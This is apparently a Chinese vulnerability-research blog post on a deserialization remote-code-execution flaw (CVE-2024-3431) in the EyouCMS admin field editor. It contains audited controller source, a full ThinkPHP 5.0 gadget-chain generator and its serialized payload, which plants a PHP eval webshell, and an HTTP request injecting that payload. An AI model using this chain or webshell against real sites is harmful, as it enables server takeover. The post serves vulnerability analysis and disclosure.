易优内容管理系统(EyouCms) 隶属于海口快推科技有限公司,专注中小型企业信息传播解决方案,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力。EyouCms 是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)。以模板多、易优化、开源而闻名,是国内新锐的 PHP 开源网站管理系统,也是最受用户好评的 PHP 类 CMS 系统。
EyouCms版本v.1.5.6在后台组件文件/login.php?m=admin&c=Field&a=channel_edit中,通过channel_id参数进行反序列化,可远程执行命令。
版本要求:<=v1.5..6
EyouCMS 下载地址 https://www.eyoucms.com/rizhi/
https://nvd.nist.gov/vuln/detail/CVE-2024-3431
根据CVE官方提供的信息来看漏洞影响路径是/login.php?m=admin&c=Field&a=channel_edit,且我们拿到了关键的信息,漏洞的类型是反序列化。看到这个路径我们大胆的猜测一下a是不是代表着action-方法,c就是对应的控制器。那么m呢,这个可能是对应的模块。
在下方的参考链接中,寻找是否有可用的poc。
看来是需要访问权限,后面就没有什么可用的信息了。
既然没有poc可用,我们就要分析分析源码了
EyouCMS 下载地址 https://www.eyoucms.com/rizhi/下载版本v1.5.6 顺便在本地部署一下。
直接访问页面显示数据不存在。看看源码是怎么回事,是还要传什么参数吗!
漏洞点位于\application\admin\controller\Field.php,下面是channel_edit的源码
/**
* 编辑-模型字段
*/
public function channel_edit()
{
$channel_id = input('param.channel_id/d', 0);
// if (empty($channel_id)) {
// $this->error('参数有误!');
// }
if (IS_POST) {
if (empty($channel_id)) $this->error("请选择所属模型");
$post = input('post.', '', 'trim');
$post['id'] = intval($post['id']);
if ('checkbox' == $post['old_dtype'] && in_array($post['dtype'], ['radio', 'select'])) {
$fieldtype_list = model('Field')->getFieldTypeAll('name,title', 'name');
$this->error("{$fieldtype_list['checkbox']['title']}不能更改为{$fieldtype_list[$post['dtype']]['title']}!");
}
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
$this->error("缺少必填信息!");
}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
$this->error("字段名称格式不正确!");
} else if (preg_match('/^type/', $post['name'])) {
$this->error("字段名称不允许以type开头!");
} else if (preg_match('/^ey_/', $post['name'])) {
$this->error("字段名称不允许以 ey_ 开头!");
}
$info = model('Channelfield')->getInfo($post['id'], 'ifsystem');
if (!empty($info['ifsystem'])) {
$this->error('系统字段不允许更改!');
}
// 字段类型是否具备筛选功能
if (empty($post['IsScreening_status'])) {
$post['is_screening'] = 0;
}
$old_name = $post['old_name'];
/*去除中文逗号,过滤左右空格与空值*/
$dfvalue = str_replace(',', ',', $post['dfvalue']);
if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
$pattern = ['"', '\'', ';', '&', '?', '='];
$dfvalue = func_preg_replace($pattern, '', $dfvalue);
}
$dfvalueArr = explode(',', $dfvalue);
foreach ($dfvalueArr as $key => $val) {
$tmp_val = trim($val);
if (empty($tmp_val)) {
unset($dfvalueArr[$key]);
continue;
}
$dfvalueArr[$key] = $tmp_val;
}
$dfvalueArr = array_unique($dfvalueArr);
$dfvalue = implode(',', $dfvalueArr);
/*--end*/
if ('region' == $post['dtype']) {
if (!empty($post['region_data'])) {
$post['region_data'] = [
'region_id' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_id']),
'region_ids' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_ids']),
'region_names' => preg_replace("/([^\x{4e00}-\x{9fa5}\,\,]+)/u", '', $post['region_data']['region_names']),
];
$post['dfvalue'] = $post['region_data']['region_id'];
$post['region_data'] = serialize($post['region_data']);
} else {
$this->error("请选择区域范围!");
}
} else {
/*默认值必填字段*/
$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');
if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {
if (empty($dfvalue)) {
$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
}
}
/*--end*/
unset($post['region_data']);
}
/*当前模型对应的数据表*/
$table = Db::name('channeltype')->where('id', $post['channel_id'])->getField('table');
$tableName = $table . '_content';
$table = PREFIX . $tableName;
/*--end*/
/*检测字段是否存在于主表与附加表中*/
if (true == $this->fieldLogic->checkChannelFieldList($table, $post['name'], $channel_id, array($old_name))) {
$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
/*--end*/
if (empty($post['typeids'])) {
$this->error('请选择可见栏目!');
}
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/
if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
$whereArr = [];
$dfvalueArr = explode(',', $dfvalue);
foreach($dfvalueArr as $key => $val){
$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";
}
$whereStr = implode(' AND ', $whereArr);
if (in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
if (!empty($dfvalueArr[0])) {
$new_dfvalue = $dfvalueArr[0];
$old_dfvalue_arr = explode(',', $post['old_dfvalue']);
if (!in_array($new_dfvalue, $old_dfvalue_arr)) {
$new_dfvalue = NULL;
}
} else {
$new_dfvalue = NULL;
}
} else {
$new_dfvalue = '';
}
Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);
}
/*end*/
if ("checkbox" == $post['dtype']){
$dfvalue = explode(',', $dfvalue);
if (64 < count($dfvalue)){
$dfvalue = array_slice($dfvalue, 0, 64);
}
$dfvalue = implode(',', $dfvalue);
}
/*组装完整的SQL语句,并执行编辑字段*/
$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
$ntabsql = $fieldinfos[0];
$buideType = $fieldinfos[1];
$maxlength = $fieldinfos[2];
$sql = " ALTER TABLE `$table` CHANGE COLUMN `{$old_name}` $ntabsql ";
try {
$r = @Db::execute($sql);
} catch (\Exception $e) {
$this->error('该数据类型不支持切换');
}
if (false !== $r) {
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/
if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
$whereArr = [];
$new_dfvalue = '';
$dfvalueArr = explode(',', $dfvalue);
foreach($dfvalueArr as $key => $val){
if ($key == 0) {
$new_dfvalue = $val;
}
$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";
}
$whereArr[] = "(`{$post['name']}` is NULL OR `{$post['name']}` = '')";
$whereStr = implode(' AND ', $whereArr);
Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);
}
/*end*/
/*保存更新字段的记录*/
if (!empty($post['region_data'])) {
$dfvalue = $post['region_data'];
unset($post['region_data']);
}
$newData = array(
'dfvalue' => $dfvalue,
'maxlength' => $maxlength,
'define' => $buideType,
'update_time' => getTime(),
);
$data = array_merge($post, $newData);
Db::name('channelfield')->where(['id'=>$post['id'],'channel_id'=>$channel_id])->cache(true, null, "channelfield")->save($data);
/*--end*/
/*保存栏目与字段绑定的记录*/
$field_id = $post['id'];
model('ChannelfieldBind')->where(['field_id' => $field_id])->delete();
$typeids = $post['typeids'];
if (!empty($typeids)) {
/*多语言*/
if (is_language()) {
$attr_name_arr = [];
foreach ($typeids as $key => $val) {
$attr_name_arr[] = 'tid' . $val;
}
$new_typeid_arr = Db::name('language_attr')->where([
'attr_name' => ['IN', $attr_name_arr],
'attr_group' => 'arctype',
])->column('attr_value');
!empty($new_typeid_arr) && $typeids = $new_typeid_arr;
}
/*--end*/
$addData = [];
foreach ($typeids as $key => $val) {
if (1 < count($typeids) && empty($val)) {
continue;
}
$addData[] = [
'typeid' => $val,
'field_id' => $field_id,
'add_time' => getTime(),
'update_time' => getTime(),
];
}
!empty($addData) && model('ChannelfieldBind')->saveAll($addData);
}
/*--end*/
/*重新生成数据表字段缓存文件*/
try {
schemaTable($table);
} catch (\Exception $e) {}
/*--end*/
$this->success("操作成功!", url('Field/channel_index', array('channel_id' => $post['channel_id'])));
} else {
$sql = " ALTER TABLE `$table` ADD $ntabsql ";
if (false === Db::execute($sql)) {
$this->error('操作失败!');
}
}
}
$id = input('param.id/d', 0);
$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);
if (empty($info)) {
$this->error('数据不存在,请联系管理员!');
exit;
}
...
在675行的确有序列化的操作。
那么我们的思路就很明显了
1,查看$info['dfvalue']是否为可控变量
2,在本系统中找到一条可以反序列化的链
先考虑下我们的反序列化链。
思路:可以尝试挖掘一下本系统的链...。[挖掘链子还是很费功夫的...]
看了介绍这是一个基于thinkphp二次开发的系统且thinkphp的版本是5.0,那么我们的思路就来了
在之前的文章中,我介绍了ThinkPHP5.0.0~5.0.23的一条反序列化利用链,其中还涉及到了死亡绕过的技巧。这次我们就可以用上了
https://blog.csdn.net/shelter1234567/article/details/135862876
生成链的payload
<?php
namespace think\process\pipes {
class Windows {
private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br>";
echo base64_encode(serialize($window));
}
生成结果
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=
先用payload在本地测试一下
$a="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=";
echo unserialize(base64_decode($a));
程序运行不久后生成了我们的木马文件
这证明了我们的链子是可以被利用的!
那么接下来就是要考虑$info['dfvalue']是否可控的问题了!可控就代表着该系统的确存在一条反序列化RCE的漏洞。
思路:
1,源码看起
2,黑盒测试+断点调试 通过不断的提交数据反复对比,看看前端功能页面的那个参数对应了这个字段,
3,翻官方提供的开发手册(如果有的话)
开始审代码咯。(下面是简约版,不影响的代码都删除了。//-- 是我写的注释信息可供参考)
public function channel_edit()
{
$channel_id = input('param.channel_id/d', 0);
// if (empty($channel_id)) {
// $this->error('参数有误!');
// }
//--不是POST这段代码直接省略$id = input('param.id/d', 0);
$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);//--这段涉及数据库查询
if (empty($info)) {
$this->error('数据不存在,请联系管理员!');//--查询后的数据不能为空
exit;
}
if (!empty($info['ifsystem'])) {//--查询后的数据字段ifsystem要为0
$this->error('系统字段不允许更改!');
}
//--这些都不不影响
if ('region' == $info['dtype']) {//-- 查询后的数据字段dtype要为'region'
// 反序列化默认值参数
$dfvalue = unserialize($info['dfvalue']);
方法channel_edit中的unserialize数据$info['dtype']来源涉及到数据库查询,查询的条件是$channel_id与$id。这两个是参数是用户可以输入的。
参考一下channel_id表结构...
通过源码来看若想实现的我们的反序列化数据执行,我们要考虑下面这几件事。
1,输入的$channel_id $id 是这张表的查询条件,
2,查询后的数据不能为空
3,查询后的数据字段ifsystem要为0
4,查询后的数据字段dtype要为'region'
5,要让返回dfvalue成为序列化数据
看看能否通过用户输入数据来影响这张表,或者sql注入也是可以考虑的。
那么接下来的思路:在源码中找寻调用此表的更新操作,看看能否更新dfvalue。
在同类的方法中arctype_add中,我们找到了疑似表channelfield的更新操作
开始代码审计咯(这里是源码-未动)
/**
* 新增-栏目字段
*/
public function arctype_add()
{
$channel_id = $this->arctype_channel_id;
if (empty($channel_id)) {
$this->error('参数有误!');
}
if (IS_POST) {
$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
$this->error("缺少必填信息!");
}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
$this->error("字段名称格式不正确!");
} else if (preg_match('/^ey_/', $post['name'])) {
$this->error("字段名称不允许以 ey_ 开头!");
}
/*去除中文逗号,过滤左右空格与空值*/
$dfvalue = str_replace(',', ',', $post['dfvalue']);
if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
$pattern = ['"', '\'', ';', '&', '?', '='];
$dfvalue = func_preg_replace($pattern, '', $dfvalue);
}
$dfvalueArr = explode(',', $dfvalue);
foreach ($dfvalueArr as $key => $val) {
$tmp_val = trim($val);
if (empty($tmp_val)) {
unset($dfvalueArr[$key]);
continue;
}
$dfvalueArr[$key] = $tmp_val;
}
$dfvalueArr = array_unique($dfvalueArr);
$dfvalue = implode(',', $dfvalueArr);
/*--end*/
/*默认值必填字段*/
$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');
if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {
if (empty($dfvalue)) {
$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
}
}
/*--end*/
/*栏目对应的单页表*/
$tableExt = PREFIX . 'single_content';
/*--end*/
/*检测字段是否存在于主表与附加表中*/
if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {
$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
/*--end*/
if ("checkbox" == $post['dtype']){
$dfvalue = explode(',', $dfvalue);
if (64 < count($dfvalue)){
$dfvalue = array_slice($dfvalue, 0, 64);
}
$dfvalue = implode(',', $dfvalue);
}
/*组装完整的SQL语句,并执行新增字段*/
$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
$ntabsql = $fieldinfos[0];
$buideType = $fieldinfos[1];
$maxlength = $fieldinfos[2];
$table = PREFIX . 'arctype';
$sql = " ALTER TABLE `$table` ADD $ntabsql ";
if (false !== Db::execute($sql)) {
/*保存新增字段的记录*/
$newData = array(
'dfvalue' => $dfvalue,
'maxlength' => $maxlength,
'define' => $buideType,
'ifmain' => 1,
'ifsystem' => 0,
'sort_order' => 100,
'add_time' => getTime(),
'update_time' => getTime(),
);
$data = array_merge($post, $newData);
$field_id = Db::name('channelfield')->insertGetId($data);
/*--end*/
/*保存栏目与字段绑定的记录*/
$typeids = $post['typeids'];
if (!empty($typeids)) {
/*多语言*/
if (is_language()) {
$attr_name_arr = [];
foreach ($typeids as $key => $val) {
$attr_name_arr[] = 'tid' . $val;
}
$new_typeid_arr = Db::name('language_attr')->where([
'attr_name' => ['IN', $attr_name_arr],
'attr_group' => 'arctype',
])->column('attr_value');
!empty($new_typeid_arr) && $typeids = $new_typeid_arr;
}
/*--end*/
$addData = [];
foreach ($typeids as $key => $val) {
if (1 < count($typeids) && empty($val)) {
continue;
}
$addData[] = [
'typeid' => $val,
'field_id' => $field_id,
'add_time' => getTime(),
'update_time' => getTime(),
];
}
!empty($addData) && model('ChannelfieldBind')->saveAll($addData);
}
/*重新生成数据表字段缓存文件*/
try {
schemaTable($table);
} catch (\Exception $e) {}
/*--end*/
\think\Cache::clear('channelfield');
\think\Cache::clear("arctype");
$this->success("操作成功!", url('Field/arctype_index'));
}
$this->error('操作失败');
}
/*字段类型列表*/
$fieldtype_list = [];
$fieldtype_list_tmp = model('Field')->getFieldTypeAll('name,title,ifoption');
foreach ($fieldtype_list_tmp as $key => $val) {
if (!in_array($val['name'], ['file','media','region'])) {
$fieldtype_list[] = $val;
}
}
$assign_data['fieldtype_list'] = $fieldtype_list;
/*--end*/
/*模型ID*/
$assign_data['channel_id'] = $channel_id;
/*--end*/
/*允许编辑的栏目*/
$allow_release_channel = Db::name('channeltype')->column('id');
$select_html = allow_release_arctype(0, $allow_release_channel);
$this->assign('select_html', $select_html);
/*--end*/
$this->assign($assign_data);
return $this->fetch();
}
下面的我写的说明注释版//-- 为我写的注释
/**
* 新增-栏目字段
*/
public function arctype_add()
{
$channel_id = $this->arctype_channel_id;
if (empty($channel_id)) {
$this->error('参数有误!');
}
if (IS_POST) {//--我们进入POST代码
$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
$this->error("缺少必填信息!");
}//--这几个字段都要输入 dtype=xx&title=xx&name=xxx
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
$this->error("字段名称格式不正确!");
} else if (preg_match('/^ey_/', $post['name'])) {
$this->error("字段名称不允许以 ey_ 开头!");
}//--判断name是否合法 我们直接user就可以了
/*去除中文逗号,过滤左右空格与空值*/
$dfvalue = str_replace(',', ',', $post['dfvalue']);
if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
$pattern = ['"', '\'', ';', '&', '?', '='];
$dfvalue = func_preg_replace($pattern, '', $dfvalue);
}
$dfvalueArr = explode(',', $dfvalue);//--不影响我们的dfvalue
foreach ($dfvalueArr as $key => $val) {//--不看
$tmp_val = trim($val);
if (empty($tmp_val)) {
unset($dfvalueArr[$key]);
continue;
}
$dfvalueArr[$key] = $tmp_val;
}
$dfvalueArr = array_unique($dfvalueArr);
$dfvalue = implode(',', $dfvalueArr);//-- 不影响$dfvalue
/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}
/*默认值必填字段*/
$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');//-- 这里可以参考一下数据库
if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {//当字段ifoption 为1时$dfvalue 这就是我们需要的
if (empty($dfvalue)) {
$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
}
}
/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}
/*栏目对应的单页表*/
$tableExt = PREFIX . 'single_content';
/*--end*/
/*检测字段是否存在于主表与附加表中*/
if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {
$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
/*--end*/
if ("checkbox" == $post['dtype']){//--不看
$dfvalue = explode(',', $dfvalue);
if (64 < count($dfvalue)){
$dfvalue = array_slice($dfvalue, 0, 64);
}
$dfvalue = implode(',', $dfvalue);
}
/*组装完整的SQL语句,并执行新增字段*/
$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
$ntabsql = $fieldinfos[0];
$buideType = $fieldinfos[1];
$maxlength = $fieldinfos[2];
$table = PREFIX . 'arctype';
$sql = " ALTER TABLE `$table` ADD $ntabsql ";
if (false !== Db::execute($sql)) {//-- 要先使这个sql执行没有错误
/*保存新增字段的记录*/
$newData = array(
'dfvalue' => $dfvalue,
'maxlength' => $maxlength,
'define' => $buideType,
'ifmain' => 1,
'ifsystem' => 0,
'sort_order' => 100,
'add_time' => getTime(),
'update_time' => getTime(),
);
$data = array_merge($post, $newData);
$field_id = Db::name('channelfield')->insertGetId($data);//--我们的想要的执行的语句
总结上面的
我们需要POST传参type,title,name,dfvalue考虑到我们的目的,
我们要传的参数数据 type=region&title=xxx&name=xxx&$dfvalue={{序列化数据}}
951会对dype做一次校验,
得到所有类型后,判断你输入的dtype是都在fieldtye_list中其次判断先对应的ifoption要为1
跟入getFieldTypeALL
注意返回的数据会被convert_arr_key转为二维数组
参考下数据库
dtype=要为上面的字段name其中的一种,而region就在其中,且ifoption是为1的。
好了!现在准备开始打入数据了
POST /EyouCMS-V1.6.5-UTF8-SP1/login.php?m=admin&c=Field&a=arctype_add HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=r7v9r023ssq6au54hrr8jj44kl; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; admin-treeClicked-Arr=%5B%5D; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=welcome%7CIndex; XDEBUG_SESSION=16574
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 855
dtype=text&title=bbb&name=aaa&dfvalue=O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}
这里遇到一个问题
在执行if (false !== Db::execute($sql)) { 出错了
ALTER TABLEey_arctype
ADDxx2
varchar(500) NOT NULL DEFAULT '{{poc}}' COMMENT 'xx1';
通过排查sql 也没有什么错误啊,一直抛错误
可能我这个数据有点奇怪吧,本地执行以下看看
啊......... 原来如此 是varchar(500)有限制长度的我输入反序列化数据已经超过500了,所以无法插入
那我们先删除一些数据,简单的测试下
字段dfvalue成功插入我们的数据
接下来就是触发漏洞了需要注意的是channel_id与id。通过上面的方式 channel_id是默认的-99
而id是这个与前端的ID值是同步的,我们可以参考这个。
访问/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1
调试看一下是否能真正的触发
反序列化漏洞测试完成,比较可惜的是这段序列化数据有长度限制,没能完全将漏洞复现出来。
如果还有其它短一点的序列化链就好了!或者参考CTF中的奇思妙想将这条链给简化更短点也是可以的......